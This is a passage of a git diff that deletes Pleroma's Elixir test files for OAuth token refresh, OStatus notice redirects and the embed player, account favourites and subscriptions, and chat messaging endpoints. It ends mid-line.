app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - new_token = Repo.get_by(Token, token: response["access_token"]) - assert new_token.refresh_token == token.refresh_token - assert new_token.scopes == auth.scopes - assert new_token.user_id == user.id - assert new_token.app_id == app.id - end - - test "issues a new access token with new fresh token" do - Pleroma.Config.put([:oauth2, :issue_new_refresh_token], false) - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - new_token = Repo.get_by(Token, token: response["access_token"]) - refute new_token.refresh_token == token.refresh_token - assert new_token.scopes == auth.scopes - assert new_token.user_id == user.id - assert new_token.app_id == app.id - end - - test "returns 400 if we try use access token" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => token.token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert %{"error" => "Invalid credentials"} == response - end - - test "returns 400 if refresh_token invalid" do - app = insert(:oauth_app, scopes: ["read", "write"]) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => "token.refresh_token", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert %{"error" => "Invalid credentials"} == response - end - - test "issues a new token if token expired" do - user = insert(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) - {:ok, token} = Token.exchange_token(app, auth) - - change = - Ecto.Changeset.change( - token, - %{valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -86_400 * 30)} - ) - - {:ok, access_token} = Repo.update(change) - - response = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "refresh_token", - "refresh_token" => access_token.refresh_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(200) - - ap_id = user.ap_id - - assert match?( - %{ - "scope" => "write", - "token_type" => "Bearer", - "expires_in" => 600, - "access_token" => _, - "refresh_token" => _, - "me" => ^ap_id - }, - response - ) - - refute Repo.get_by(Token, token: token.token) - token = Repo.get_by(Token, token: response["access_token"]) - assert token - assert token.scopes == auth.scopes - assert token.user_id == user.id - assert token.app_id == app.id - end - end - - describe "POST /oauth/token - bad request" do - test "returns 500" do - response = - build_conn() - |> post("/oauth/token", %{}) - |> json_response(500) - - assert %{"error" => "Bad request"} == response - end - end - - describe "POST /oauth/revoke - bad request" do - test "returns 500" do - response = - build_conn() - |> post("/oauth/revoke", %{}) - |> json_response(500) - - assert %{"error" => "Bad request"} == response - end - end -end diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs deleted file mode 100644 index a610d92f8..000000000 --- a/test/web/oauth/token/utils_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.Token.UtilsTest do - use Pleroma.DataCase - alias Pleroma.Web.OAuth.Token.Utils - import Pleroma.Factory - - describe "fetch_app/1" do - test "returns error when credentials is invalid" do - assert {:error, :not_found} = - Utils.fetch_app(%Plug.Conn{params: %{"client_id" => 1, "client_secret" => "x"}}) - end - - test "returns App by params credentails" do - app = insert(:oauth_app) - - assert {:ok, load_app} = - Utils.fetch_app(%Plug.Conn{ - params: %{"client_id" => app.client_id, "client_secret" => app.client_secret} - }) - - assert load_app == app - end - - test "returns App by header credentails" do - app = insert(:oauth_app) - header = "Basic " <> Base.encode64("#{app.client_id}:#{app.client_secret}") - - conn = - %Plug.Conn{} - |> Plug.Conn.put_req_header("authorization", header) - - assert {:ok, load_app} = Utils.fetch_app(conn) - assert load_app == app - end - end - - describe "format_created_at/1" do - test "returns formatted created at" do - token = insert(:oauth_token) - date = Utils.format_created_at(token) - - token_date = - token.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> DateTime.to_unix() - - assert token_date == date - end - end -end diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs deleted file mode 100644 index c88b9cc98..000000000 --- a/test/web/oauth/token_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.TokenTest do - use Pleroma.DataCase - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - test "exchanges a auth token for an access token, preserving `scopes`" do - {:ok, app} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client", - scopes: ["read", "write"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user, ["read"]) - assert auth.scopes == ["read"] - - {:ok, token} = Token.exchange_token(app, auth) - - assert token.app_id == app.id - assert token.user_id == user.id - assert token.scopes == auth.scopes - assert String.length(token.token) > 10 - assert String.length(token.refresh_token) > 10 - - auth = Repo.get(Authorization, auth.id) - {:error, "already used"} = Token.exchange_token(app, auth) - end - - test "deletes all tokens of a user" do - {:ok, app1} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client1", - scopes: ["scope"], - redirect_uris: "url" - }) - ) - - {:ok, app2} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client2", - scopes: ["scope"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth1} = Authorization.create_authorization(app1, user) - {:ok, auth2} = Authorization.create_authorization(app2, user) - - {:ok, _token1} = Token.exchange_token(app1, auth1) - {:ok, _token2} = Token.exchange_token(app2, auth2) - - {tokens, _} = Token.delete_user_tokens(user) - - assert tokens == 2 - end -end diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs deleted file mode 100644 index ee498f4b5..000000000 --- a/test/web/ostatus/ostatus_controller_test.exs +++ /dev/null @@ -1,338 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OStatus.OStatusControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - - require Pleroma.Constants - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating], true) - - describe "Mastodon compatibility routes" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - {:ok, activity, _} = - %{ - "id" => object.data["id"] <> "/activity", - "type" => "Create", - "object" => object.data["id"], - "actor" => object.data["actor"], - "to" => object.data["to"] - } - |> ActivityPub.persist(local: true) - - %{conn: conn, activity: activity} - end - - test "redirects to /notice/:id for html format", %{conn: conn, activity: activity} do - conn = get(conn, "/users/raymoo/statuses/999999999") - assert redirected_to(conn) == "/notice/#{activity.id}" - end - - test "redirects to /notice/:id for html format for activity", %{ - conn: conn, - activity: activity - } do - conn = get(conn, "/users/raymoo/statuses/999999999/activity") - assert redirected_to(conn) == "/notice/#{activity.id}" - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "GET /objects/:uuid (text/html)" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - %{conn: conn} - end - - test "redirects to /notice/id for html format", %{conn: conn} do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) - url = "/objects/#{uuid}" - - conn = get(conn, url) - assert redirected_to(conn) == "/notice/#{note_activity.id}" - end - - test "404s on private objects", %{conn: conn} do - note_activity = insert(:direct_note_activity) - object = Object.normalize(note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) - - conn - |> get("/objects/#{uuid}") - |> response(404) - end - - test "404s on non-existing objects", %{conn: conn} do - conn - |> get("/objects/123") - |> response(404) - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "GET /activities/:uuid (text/html)" do - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - %{conn: conn} - end - - test "redirects to /notice/id for html format", %{conn: conn} do - note_activity = insert(:note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) - - conn = get(conn, "/activities/#{uuid}") - assert redirected_to(conn) == "/notice/#{note_activity.id}" - end - - test "404s on private activities", %{conn: conn} do - note_activity = insert(:direct_note_activity) - [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) - - conn - |> get("/activities/#{uuid}") - |> response(404) - end - - test "404s on nonexistent activities", %{conn: conn} do - conn - |> get("/activities/123") - |> response(404) - end - end - - describe "GET notice/2" do - test "redirects to a proper object URL when json requested and the object is local", %{ - conn: conn - } do - note_activity = insert(:note_activity) - expected_redirect_url = Object.normalize(note_activity).data["id"] - - redirect_url = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/notice/#{note_activity.id}") - |> redirected_to() - - assert redirect_url == expected_redirect_url - end - - test "returns a 404 on remote notice when json requested", %{conn: conn} do - note_activity = insert(:note_activity, local: false) - - conn - |> put_req_header("accept", "application/activity+json") - |> get("/notice/#{note_activity.id}") - |> response(404) - end - - test "500s when actor not found", %{conn: conn} do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - User.invalidate_cache(user) - Pleroma.Repo.delete(user) - - conn = - conn - |> get("/notice/#{note_activity.id}") - - assert response(conn, 500) == ~S({"error":"Something went wrong"}) - end - - test "render html for redirect for html format", %{conn: conn} do - note_activity = insert(:note_activity) - - resp = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{note_activity.id}") - |> response(200) - - assert resp =~ - "<meta content=\"#{Pleroma.Web.base_url()}/notice/#{note_activity.id}\" property=\"og:url\">" - - user = insert(:user) - - {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) - - assert like_activity.data["type"] == "Like" - - resp = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{like_activity.id}") - |> response(200) - - assert resp =~ "<!--server-generated-meta-->" - end - - test "404s a private notice", %{conn: conn} do - note_activity = insert(:direct_note_activity) - url = "/notice/#{note_activity.id}" - - conn = - conn - |> get(url) - - assert response(conn, 404) - end - - test "404s a non-existing notice", %{conn: conn} do - url = "/notice/123" - - conn = - conn - |> get(url) - - assert response(conn, 404) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note_activity = insert(:note_activity) - - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) - end - end - - describe "GET /notice/:id/embed_player" do - setup do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - %{note_activity: note_activity} - end - - test "renders embed player", %{conn: conn, note_activity: note_activity} do - conn = get(conn, "/notice/#{note_activity.id}/embed_player") - - assert Plug.Conn.get_resp_header(conn, "x-frame-options") == ["ALLOW"] - - assert Plug.Conn.get_resp_header( - conn, - "content-security-policy" - ) == [ - "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" - ] - - assert response(conn, 200) =~ - "<video controls loop><source src=\"https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4\" type=\"video/mp4\">Your browser does not support video/mp4 playback.</video>" - end - - test "404s when activity isn't create", %{conn: conn} do - note_activity = insert(:note_activity, data_attrs: %{"type" => "Like"}) - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when activity is direct message", %{conn: conn} do - note_activity = insert(:note_activity, data_attrs: %{"directMessage" => true}) - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when attachment is empty", %{conn: conn} do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - object_data = Map.put(object.data, "attachment", []) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - assert conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "404s when attachment isn't audio or video", %{conn: conn} do - note_activity = insert(:note_activity) - object = Pleroma.Object.normalize(note_activity) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => "https://peertube.moe/static/webseed/480.jpg", - "mediaType" => "image/jpg", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - conn - |> get("/notice/#{note_activity.id}/embed_player") - |> response(404) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn, - note_activity: note_activity - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) - end - end -end diff --git a/test/web/pleroma_api/controllers/account_controller_test.exs b/test/web/pleroma_api/controllers/account_controller_test.exs deleted file mode 100644 index 07909d48b..000000000 --- a/test/web/pleroma_api/controllers/account_controller_test.exs +++ /dev/null @@ -1,284 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - import Swoosh.TestAssertions - - describe "POST /api/v1/pleroma/accounts/confirmation_resend" do - setup do - {:ok, user} = - insert(:user) - |> User.confirmation_changeset(need_confirmation: true) - |> User.update_and_set_cache() - - assert user.confirmation_pending - - [user: user] - end - - setup do: clear_config([:instance, :account_activation_required], true) - - test "resend account confirmation email", %{conn: conn, user: user} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") - |> json_response_and_validate_schema(:no_content) - - ObanHelpers.perform_all() - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "resend account confirmation email (with nickname)", %{conn: conn, user: user} do - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/accounts/confirmation_resend?nickname=#{user.nickname}") - |> json_response_and_validate_schema(:no_content) - - ObanHelpers.perform_all() - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - end - - describe "getting favorites timeline of specified user" do - setup do - [current_user, user] = insert_pair(:user, hide_favorites: false) - %{user: current_user, conn: conn} = oauth_access(["read:favourites"], user: current_user) - [current_user: current_user, user: user, conn: conn] - end - - test "returns list of statuses favorited by specified user", %{ - conn: conn, - user: user - } do - [activity | _] = insert_pair(:note_activity) - CommonAPI.favorite(user, activity.id) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - [like] = response - - assert length(response) == 1 - assert like["id"] == activity.id - end - - test "returns favorites for specified user_id when requester is not logged in", %{ - user: user - } do - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - response = - build_conn() - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(200) - - assert length(response) == 1 - end - - test "returns favorited DM only when user is logged in and he is one of recipients", %{ - current_user: current_user, - user: user - } do - {:ok, direct} = - CommonAPI.post(current_user, %{ - status: "Hi @#{user.nickname}!", - visibility: "direct" - }) - - CommonAPI.favorite(user, direct.id) - - for u <- [user, current_user] do - response = - build_conn() - |> assign(:user, u) - |> assign(:token, insert(:oauth_token, user: u, scopes: ["read:favourites"])) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert length(response) == 1 - end - - response = - build_conn() - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(200) - - assert length(response) == 0 - end - - test "does not return others' favorited DM when user is not one of recipients", %{ - conn: conn, - user: user - } do - user_two = insert(:user) - - {:ok, direct} = - CommonAPI.post(user_two, %{ - status: "Hi @#{user.nickname}!", - visibility: "direct" - }) - - CommonAPI.favorite(user, direct.id) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "paginates favorites using since_id and max_id", %{ - conn: conn, - user: user - } do - activities = insert_list(10, :note_activity) - - Enum.each(activities, fn activity -> - CommonAPI.favorite(user, activity.id) - end) - - third_activity = Enum.at(activities, 2) - seventh_activity = Enum.at(activities, 6) - - response = - conn - |> get( - "/api/v1/pleroma/accounts/#{user.id}/favourites?since_id=#{third_activity.id}&max_id=#{ - seventh_activity.id - }" - ) - |> json_response_and_validate_schema(:ok) - - assert length(response) == 3 - refute third_activity in response - refute seventh_activity in response - end - - test "limits favorites using limit parameter", %{ - conn: conn, - user: user - } do - 7 - |> insert_list(:note_activity) - |> Enum.each(fn activity -> - CommonAPI.favorite(user, activity.id) - end) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites?limit=3") - |> json_response_and_validate_schema(:ok) - - assert length(response) == 3 - end - - test "returns empty response when user does not have any favorited statuses", %{ - conn: conn, - user: user - } do - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "returns 404 error when specified user is not exist", %{conn: conn} do - conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "returns 403 error when user has hidden own favorites", %{conn: conn} do - user = insert(:user, hide_favorites: true) - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} - end - - test "hides favorites for new users by default", %{conn: conn} do - user = insert(:user) - activity = insert(:note_activity) - CommonAPI.favorite(user, activity.id) - - assert user.hide_favorites - conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} - end - end - - describe "subscribing / unsubscribing" do - test "subscribing / unsubscribing to a user" do - %{user: user, conn: conn} = oauth_access(["follow"]) - subscription_target = insert(:user) - - ret_conn = - conn - |> assign(:user, user) - |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") - - assert %{"id" => _id, "subscribing" => true} = - json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") - - assert %{"id" => _id, "subscribing" => false} = json_response_and_validate_schema(conn, 200) - end - end - - describe "subscribing" do - test "returns 404 when subscription_target not found" do - %{conn: conn} = oauth_access(["write:follows"]) - - conn = post(conn, "/api/v1/pleroma/accounts/target_id/subscribe") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - end - - describe "unsubscribing" do - test "returns 404 when subscription_target not found" do - %{conn: conn} = oauth_access(["follow"]) - - conn = post(conn, "/api/v1/pleroma/accounts/target_id/unsubscribe") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - end -end diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs deleted file mode 100644 index 11d5ba373..000000000 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ /dev/null @@ -1,410 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "POST /api/v1/pleroma/chats/:id/messages/:message_id/read" do - setup do: oauth_access(["write:chats"]) - - test "it marks one message as read", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") - {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - object = Object.normalize(create, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == true - - result = - conn - |> post("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}/read") - |> json_response_and_validate_schema(200) - - assert result["unread"] == false - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == false - end - end - - describe "POST /api/v1/pleroma/chats/:id/read" do - setup do: oauth_access(["write:chats"]) - - test "given a `last_read_id`, it marks everything until then as read", %{ - conn: conn, - user: user - } do - other_user = insert(:user) - - {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") - {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - object = Object.normalize(create, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == true - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/read", %{"last_read_id" => cm_ref.id}) - |> json_response_and_validate_schema(200) - - assert result["unread"] == 1 - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - assert cm_ref.unread == false - end - end - - describe "POST /api/v1/pleroma/chats/:id/messages" do - setup do: oauth_access(["write:chats"]) - - test "it posts a message to the chat", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "Hallo!!"}) - |> json_response_and_validate_schema(200) - - assert result["content"] == "Hallo!!" - assert result["chat_id"] == chat.id |> to_string() - end - - test "it fails if there is no content", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(400) - - assert %{"error" => "no_content"} == result - end - - test "it works with an attachment", %{conn: conn, user: user} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{ - "media_id" => to_string(upload.id) - }) - |> json_response_and_validate_schema(200) - - assert result["attachment"] - end - - test "gets MRF reason when rejected", %{conn: conn, user: user} do - clear_config([:mrf_keyword, :reject], ["GNO"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) - |> json_response_and_validate_schema(422) - - assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result - end - end - - describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do - setup do: oauth_access(["write:chats"]) - - test "it deletes a message from the chat", %{conn: conn, user: user} do - recipient = insert(:user) - - {:ok, message} = - CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") - - {:ok, other_message} = CommonAPI.post_chat_message(recipient, user, "nico nico ni") - - object = Object.normalize(message, false) - - chat = Chat.get(user.id, recipient.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - # Deleting your own message removes the message and the reference - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) - - # Deleting other people's messages just removes the reference - object = Object.normalize(other_message, false) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - assert Object.get_by_id(object.id) - end - end - - describe "GET /api/v1/pleroma/chats/:id/messages" do - setup do: oauth_access(["read:chats"]) - - test "it paginates", %{conn: conn, user: user} do - recipient = insert(:user) - - Enum.each(1..30, fn _ -> - {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") - end) - - chat = Chat.get(user.id, recipient.ap_id) - - response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") - result = json_response_and_validate_schema(response, 200) - - [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") - api_endpoint = "/api/v1/pleroma/chats/" - - assert String.match?( - next, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) - ) - - assert String.match?( - prev, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) - ) - - assert length(result) == 20 - - response = - get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - - result = json_response_and_validate_schema(response, 200) - [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") - - assert String.match?( - next, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) - ) - - assert String.match?( - prev, - ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) - ) - - assert length(result) == 10 - end - - test "it returns the messages for a given chat", %{conn: conn, user: user} do - other_user = insert(:user) - third_user = insert(:user) - - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") - {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") - - chat = Chat.get(user.id, other_user.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - result - |> Enum.each(fn message -> - assert message["chat_id"] == chat.id |> to_string() - end) - - assert length(result) == 3 - - # Trying to get the chat of a different user - conn - |> assign(:user, other_user) - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(404) - end - end - - describe "POST /api/v1/pleroma/chats/by-account-id/:id" do - setup do: oauth_access(["write:chats"]) - - test "it creates or returns a chat", %{conn: conn} do - other_user = insert(:user) - - result = - conn - |> post("/api/v1/pleroma/chats/by-account-id/#{other_user.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] - end - end - - describe "GET /api/v1/pleroma/chats/:id" do - setup do: oauth_access(["read:chats"]) - - test "it returns a chat", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == 